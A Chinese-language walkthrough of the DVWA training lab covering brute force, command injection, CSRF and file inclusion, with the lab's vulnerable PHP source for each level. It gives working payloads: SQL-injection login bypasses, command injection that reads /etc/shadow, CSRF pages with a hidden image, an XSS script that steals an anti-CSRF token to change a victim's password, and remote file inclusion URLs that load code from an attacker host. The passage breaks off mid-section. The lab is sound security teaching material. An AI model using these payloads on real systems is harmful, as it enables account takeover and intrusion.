DVWA通关过程

搭建

准备:

phpStudy

DVWA

配置hosts

dvwa.loacl 为靶机

hack.loacl 为攻击机

修改配置

$phpstudy\PHPTutorial\WWW\DVWA\php.ini
1
2
3
4
5
magic_quotes_gpc = Off

alLow_url_fopen = on

alLow_url_include = on
$phpstudy\PHPTutorial\WWW\DVWA\config\config.inc.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$_DVWA[ ‘db_server’ ] = ‘127.0.0.1’;

$_DVWA[ ‘db_database’ ] = ‘dvwa’;

$_DVWA[ ‘db_user’ ] = ‘root’;

$_DVWA[ ‘db_password’ ] = ‘root’;

# Only used with PostgreSQL/PGSQL database selection.

$_DVWA[ 'db_port '] = ‘5432’;

# ReCAPTCHA settings

# Used for the ‘Insecure CAPTCHA’ module

# You’ll need to generate your own keys at: https://www.google.com/recaptcha/admin

$_DVWA[ ‘recaptcha_public_key’ ] = ‘6LdK7xITAAzzAAJQTfL7fu6I-0aPl8KHHieAT_yJg’;

$_DVWA[ ‘recaptcha_private_key’ ] = ‘6LdK7xITAzzAAL_uw9YXVUOPoIHPZLfw2K1n5NVQ’;

访问

http://ip/dvwa

admin

password

Setup / Reset DB >> Create / Reset Database

DVWA Security 可设置难度等级: lowMediumHighImpossible

Brute Force (爆破)

利用密码字典,通过枚举法拆解出用户口令

Low

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];

// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

只使用isset函数(php中监测变量是否设置,返回布尔值)验证参数Login是否被设置,没有任何防护机制,对usernamepassword未作任何过滤存在明显的SQL注入漏洞。

漏洞利用

密码爆破

  • 浏览器启用代理: 127.0.0.1:8080

  • Burp Suite Pro : Proxy(代理) >> Options(选项) >> Proxy Listeners(代理监听器)

  • 浏览器访问 Brute Force 输入用户名和密码后,点击 Login 按钮

  • Burp Suite Pro 截获了数据包,Proxy(代理) >> Intercept(截断)

    Forward(发送) , Drop(丢弃) , Intercept is on(拦截启用) / Intercept is off(拦截禁用) , Action(操作)

  • 将拦截数据发到 Intruder 模块(Action >> Send to Intruder / Ctrl+I) >> Positions >> Attack typeSniper >> Clear $ 清除所有符添加到password参数上password=$password$ >> Payloads 载入字典 >> Start attack 进行爆破,枚举尝试完字典中的所有文件后,比较响应长度(Length) “与众不同”的推测为正确密码,可在 Response >> Render 浏览网页验证结果

手工SQL注入

  1. Username:admin' or '1'='1
    Password:(空)

2.

Username:admin' #
Password:(空)

Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

较Low级增加了 mysqli_real_escape_string 函数,对字符串中的特殊字符(NUL(\x00)\n\r\'"^Z(\x1a)) 进行转义,基本上能防御SQL注入工具(MySQL5.5.37以下版本设置编码为GBK,能构造编码绕过对单引号的转义);$pass 做了MD5校验,杜绝了参数password进行SQL注入的可能性,但仍然没有有效的防爆破机制,sleep(2) 仅延迟执行2秒。

mysqli_real_escape_string : 1 , 2

漏洞利用

SQL注入无效,仍可用Burpsute爆破

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php

if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];

// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

加入Token,可防御CSRF攻击,同时也增加了爆破的难度,登录验证需要四个参数: usernamepasswordLoginuser_token

每次服务器返回的登录页都包含一个随机值user_token,用户每次登录时都需一起提交user_token,服务器收到请求后会先做token的检查,再进行SQL查询。

同时使用了stripslashes(去除字符串中反斜线字符,若有两个则去除一个)、mysqli_real_escape_string对参数usernamepassword进行过滤、转义,进一步防御SQL注入。

漏洞利用

Intruder

  • Payloads >> Attack type使用 Pitchfork
  • Options >> Request Engine >> Number of threads1 >> Grep-Extract >> Add >> Refetch response >> 在下方找到 user_token 的值,选中并复制,选中后上方会自动填写相应的值 >> OK
  • Payloads
    • Payload Sets >> Payload set2 >> Payload typeRecursive grep >> Payload Options [Recursive grep] >> Initial payload for first request刚才复制的token值
    • Payload Sets >> Payload set1 >> Payload typeSimple list >> Payload Options [Simple list] 加载字典 >> Start attack >> Length 与众不同

Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );

// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;

// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();

/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/

// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}

// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();

// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];

// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";

// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}

// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );

// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

加入了可靠的防爆破机制,监测到频繁的错误登录后,系统将锁定帐号,同时采用更为安全的PDO(PHP Data Object,不能PDO扩展本身执行任何数据库操作,而SQL注入的关键是通过破坏SQL语句结构执行恶意SQL命令) 机制防御SQL注入。

PDO

Command Injection (命令注入)

Low

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

stristr(string,search,before_search) 函数搜索字符串在另一字符串中第一次出现,返回字符串的剩余部分,未找到返回falsestring 参数为被搜索字符串,search 参数为要搜索的字符串(若该参数为数字,用对应的ASCII值的字符),before_search 参数为布尔型,默认为 false ,设置为 true 函数将返回 search 参数第一次出现之前的字符串部分。

php_uname(mode) 函数返回运行php的操作系统的相关描述,mode 参数可取值: a(默认,包含所有模式),s(返回操作系统名称),n(返回主机名),r(返回版本名称),v(返回版本信息),m(返回机器类型)。

服务器通过判断操作系统执行不同的ping命令,但对IP参数并未做任何过滤,导致严重命令注入漏洞。

漏洞利用

Windows 和 Linux 系统都可用 && 执行多条命令

127.0.0.1 && net user
127.0.0.1 && cat /etc/shadow

Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];

// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

服务端对IP参数做了一定过滤,把 &&; 过滤了,本质上采用的是黑名单机制,因此依旧存在安全问题。

漏洞利用

  • 只过滤了 &&; 所有 & 不会受影响

&&& 的区别:

CommandA && CommandB 先执行 CommandA 成功后执行 CommandB 否则不执行 CommandB

CommandA & CommandB 不管 CommandA 是否成功 CommandB 都执行

  • 由于使用 str_replace&&; 替换成了空字符,因此可用 &;& 绕过

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}

?>

进一步完善了黑名单,但黑名单有局限性,仍然可绕过

漏洞利用

过滤列表中 | (后有一个空格),| 成了漏网之鱼,在命令|与命令间不只用空格即可绕过。

CommandA |CommandB | 为管道符,将 CommandA 输出作为 CommandB 的输入,且只打印 CommandB 的结果。

Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php

if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octects
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}

// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

stripshes(string) 函数会删除字符串 string 中的反斜杠,返回已剔除反斜杠的字符串

explode(separator,string,[limit]) 函数把字符串打散为数组,返回字符串的数组,separator 参数规定在哪分割字符串,string 参数是要分割的字符,可选参数 limit 规定返回的数组元素的数目。

is_numeric(string) 函数监测 string 是否为数字或数字字符串,是返回 true ,否 返回 false

加入了 Anti-CSRF token 同时对参数 ip 进行了严格限制,只有 数字.数字.数字.数字 的输入才会被接收执行。

CSRF(Cross Site Request Forgery,跨站请求伪造)

Low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

服务器通过cookie验证身份,收到的修改密码请求后,会检查参数 password_newpassword_conf 是否相同,相同则修改密码,并没有防范CSRF机制

漏洞利用

构造链接 http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#

受害者点击链接后,他的密码就会被修改成 hack ,通过链接可直观的就看到内容 。

由于服务器需要使用到Cookie验证身份,而Cookie受浏览器影响,若攻击者与受害者使用不同种的浏览器就无法达成攻击效果 。

可用以下方式伪装

  • 可制作短链接来隐藏URL
  • 构造攻击页面
1
2
3
4
5
<img src="http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

Medium

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

stripos(string pattern,string string) 检查 stringpattern 中出现的位置(不区分大小写),如果有返回 true,没有返回 false

检查保留变量 HTTP_REFERER (http 包头的 Referer 参数的值,表源地址) 中是否包含 SERVER_NAME (http 包头的 Host 参数,及要访问的主机名) ,只检查了是否含有需要访问主机的主机名,只要 referer 中出现 Host 就可以正常操作 。

漏洞利用

Host dvwa.loacl

Referer http://hack.loacl/dvwa.loacl.html

构造 dvwa.loacl.htmlCSRF 网页文件,放到 hack.loacl 上通过访问该文件即可 。

192.168.56.102.html
1
2
3
4
5
<img src="http://dvwa.loacl/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

构造的 dvwa.loacl.html 容易被发现,可使用 URL 转码,将 dvwa.loacl.html 转义为 %64%76%77%61%2e%6c%6f%63%61%6c%2e%68%74%6d%6c

构造链接 http://hack.loacl/%64%76%77%61%2e%6c%6f%63%61%6c%2e%68%74%6d%6c

High

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}

((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

加入 Anti-CSRF token 机制,用户每次访问该页,服务器会返回一个随机 token ,向服务器发起请求时需提交 token 参数,服务器收到请求后先检查 token 只有 token 正确才处理请求

漏洞利用

攻击页需要获取修改密码页的 token 这属于跨域请求,浏览器已经禁止,只能另寻它法 。

  • 将攻击页上传到该服务器目录下,属同域,都能上传到该服务器目录下了何不直接拿权限呢
  • 利用 XSS 获取 token

利用 XSS 需要该网站存在 XSS

xss.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
alert(document.cookie);
var theUrl = 'http://dvwa.local/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
console.log(match);
alert(match[1]);
var token = match[1];
var new_url = 'http://dvwa.local/vulnerabilities/csrf/?user_token='+token+'&password_new=hack&password_conf=hacktest&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();

xss.js 放置在攻击者 hack.local 上,配合同dvwa.local 存在的DOM XSS 实现跨域请求来获取用户 token 受害者访问: http://dvwa.local/vulnerabilities/xss_d/?default=English # 诱导点击后修改密码为 hack

Impossible

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php

if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );

// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );

// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();

// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}

// Generate Anti-CSRF token
generateSessionToken();

?>

利用 PDO 技术防范 SQL 注入,要求用户输入原始密码防范 CSRF 攻击者在不知道原始密码情况下无法进行 CSRF 攻击 。

File Inclusion (文件包含)

Low

源码

1
2
3
4
5
6
7

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

服务端对 page 参数没有任何过滤检查 。

服务器包含文件时,不管文件后缀名是否是 php ,都将当作 php 文件执行,若内容确为 php 正常执行并返回结果,若不是,则原封不动将内容打印,所以文件包含漏洞常常会导致任意文件读取与任意文件执行。

漏洞利用

  • 本地文件包含

构造url : http://dvwa.local/dvwa/vulnerabilities/fi/?page=/etc/shadow

报错显示没有这个文件,说明服务器系统不是 Linux ,但同时暴露了服务器文件的绝对路径 C:\Install\phpstudy\PHPTutorial\WWW\DVWA\vulnerabilities\fi\index.php

构造绝对路径url: http://dvwa.local/vulnerabilities/fi/?page=C:\Install\phpstudy\PHPTutorial\WWW\DVWA\php.ini

构造相对路径url: http://dvwa.local/vulnerabilities/fi/?page=C:\Install\phpstudy\PHPTutorial\WWW\DVWA\php.ini 读取到该文件的内容。

  • 远程文件包含

服务器配置中,选项 alLow_url_fopenalLow_url_include 为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查,就容易导致任意远程代码执行。

在远程服务器 hack.local 上传 phpinfo.txt

pre-hooks.txt
1
2
3
<?php 
phpinfo();
?>

构造url http://dvwa.local/dvwa/vulnerabilities/fi/page=http://hack.local/phpinfo.txt

http://hack.local/phpinfo.txt >> %68%74%74%70%3a%2f%2f%68%61%63%6b%2e%6c%6f%63%61%6c%2f%70%68%70%69%6e%66%6f%2e%74%78%74 >> http://dvwa.local/dvwa/vulnerabilities/fi/page=%68%74%74%70%3a%2f%2f%68%61%63%6b%2e%6c%6f%63%61%6c%2f%70%68%70%69%6e%66%6f%2e%74%78%74

Medium

源码

1
2
3
4
5
6
7
8
9
10
<?php

// The page we wish to display
$file = $_GET[ 'page' ];

